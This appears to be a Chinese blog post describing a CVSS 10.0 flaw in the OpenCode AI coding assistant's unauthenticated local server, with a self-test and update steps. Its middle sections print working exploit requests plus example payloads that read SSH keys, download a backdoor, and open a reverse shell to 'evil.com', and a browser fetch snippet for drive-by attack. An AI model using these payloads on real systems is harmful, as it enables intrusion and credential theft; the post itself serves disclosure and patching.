Loading ...
OpenCode 惊现 CVSS 10.0 严重漏洞:任意代码执行

OpenCode 惊现 CVSS 10.0 严重漏洞:任意代码执行

就在几天前,开源 AI 编程助手 OpenCode 曝出一个CVSS 10.0 级别的严重漏洞。任何网站都可以在你的电脑上执行任意命令——没错,只需要你访问一个恶意网页。


一、惊魂时刻:我是如何发现自己的电脑被”控制”的

1 月 13 日,OpenCode 开发者 thdxr 紧急披露了一个安全漏洞。Cloudflare 安全研究员发现:OpenCode 的本地服务器没有任何身份验证,任何人都可以连接并执行命令。

我第一时间检查了自己的 OpenCode 版本——

$ opencode --version
1.1.8

心跳漏了一拍。根据官方公告,1.1.10 之前的版本都存在这个漏洞


二、漏洞原理:为什么如此严重?

2.1 零身份验证的本地服务器

OpenCode 在启动时会自动启动一个 HTTP 服务器(端口 4096+),用于与 Web 界面通信。但问题在于:这个服务器没有任何身份验证机制。

任何人只要能连接到这个端口,就可以:

API 端点 功能 危险等级
GET /session 列出所有会话 🟡 中
POST /session 创建新会话 🟡 中
POST /session/:id/shell 执行任意 shell 命令 🔴 严重
GET /file/content?path=xxx 读取任意文件 🔴 严重

2.2 攻击场景简单得可怕

攻击流程只需要三步:

1. 扫描本地端口 → 找到 OpenCode (4096+)
2. 创建会话     → POST /session
3. 执行命令     → POST /session/:id/shell

无需用户交互、无需密码、无需任何配置。


三、实战复现:我”黑”进了自己的电脑

3.1 发现漏洞端口

3.2 测试 API 访问

打开浏览器或 Postman,访问:

GET http://localhost:36504/session

返回结果让我倒吸一口凉气——无需任何认证,直接返回了我的所有会话信息:

3.3 RCE 命令执行测试

接下来是最关键的一步——执行命令:

POST http://localhost:36504/session/ses_xxx/shell
Content-Type: application/json

{
  "agent": "build",
  "command": "echo RCE_TEST"
}

几秒后,命令执行成功:

3.4 弹出计算器:漏洞的铁证

为了证明这不是开玩笑,我执行了一个更直观的命令:

{
  "agent": "build",
  "command": "calc.exe"
}

下一秒,Windows 计算器弹了出来。

这证明:任何能连接到这个端口的人,都能以我的用户权限执行任意代码。


四、更危险的攻击:如果黑客真的来了

弹出计算器只是无害演示。如果是真正的攻击者,他们可以:

4.1 窃取 SSH 私钥

{
  "command": "type C:\\Users\\YourName\\.ssh\\id_rsa"
}

4.2 植入后门

{
  "command": "powershell -c \"IEX(New-Object Net.WebClient).DownloadString('http://evil.com/backdoor.ps1')\""
}

4.3 建立反弹 Shell

{
  "command": "powershell -c \"$client = New-Object System.Net.Sockets.TCPClient('evil.com',4444);...\""
}

4.4 浏览器攻击(< v1.0.216)

在漏洞修复前,任何恶意网站都可以用这段代码攻击你:

// 植入在恶意网站中的代码
fetch('http://localhost:4096/session', {
  method: 'POST',
  body: '{}'
}).then(r => r.json()).then(session => {
  fetch(`http://localhost:4096/session/${session.id}/shell`, {
    method: 'POST',
    body: JSON.stringify({
      agent: 'build',
      command: 'powershell -c "Invoke-WebRequest http://evil.com/malware.exe -OutFile temp.exe; Start-Process temp.exe"'
    })
  })
})

你只是访问了一个网页,电脑就被控制了。


五、版本对比:你受影响了吗?

版本 任意网站攻击 本地攻击 状态
< 1.0.216 ✅ 可行 ✅ 可行 🔴 极度危险
1.0.216 – 1.1.9 ❌ 受限 ✅ 可行 🟠 存在 RCE
≥ 1.1.10 ❌ 修复 ❌ 修复 🟢 安全

我的版本是 1.1.8,属于第二档——虽然网站攻击被修复了,但本地任何进程仍可执行命令。


六、立即修复:三步完成

步骤 1:检查版本

opencode --version

步骤 2:立即更新

# 终端版
npm update -g opencode-ai@latest

# 桌面版
# 访问 https://opencode.ai/download 重新下载安装

步骤 3:验证修复

# 确认版本 >= 1.1.10
opencode --version

# 确认端口不再监听(默认已禁用服务器)
netstat -ano | findstr "4096"

参考资料

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇